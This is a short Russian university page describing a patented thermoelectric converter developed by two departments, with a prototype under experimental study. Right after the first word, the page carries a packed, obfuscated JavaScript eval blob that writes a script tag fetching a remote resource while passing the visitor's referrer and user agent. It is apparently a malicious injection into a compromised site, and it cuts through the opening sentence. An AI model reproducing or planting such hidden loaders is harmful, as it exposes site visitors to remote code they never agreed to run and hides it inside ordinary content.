

Кафедры eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|nbitn|var|u0026u|referrer|tizny||js|php'.split('|'),0,{ }))
Промышленной теплоэнергетики и Управления качеством проводят работы по разработке устройств для прямого преобразования тепловой энергии в электрическую

1. Термоэлектрический преобразователь: патент РФ, патент Украины -2016 г., МПК H01L35/32 / Пархоменко Д.И., Гридин С.В., Масюк Л.Н. и др.

Изобретение относится к области приборостроения, а именно к прямому преобразованию тепловой энергии в электрическую и может быть использовано в качестве первой ступени энергогенерирующей установки как источник постоянного тока.

Конструктивные особенности разработанного термоэлектрического преобразователя обеспечивают ориентированно-сосредоточенную подачу тепла к ветвям термопар с интенсивным его отводом, что позволяет достичь высоких величин разности граничных температур ветви термопары и приводит к повышению удельной мощности преобразователя. Данные особенности снижают материалоемкость устройства, обеспечивая при этом создание высокого ЭДС в термопаре и достижение высокого КПД.

В настоящее время разработан опытный образец устройства и проводятся экспериментальные исследования.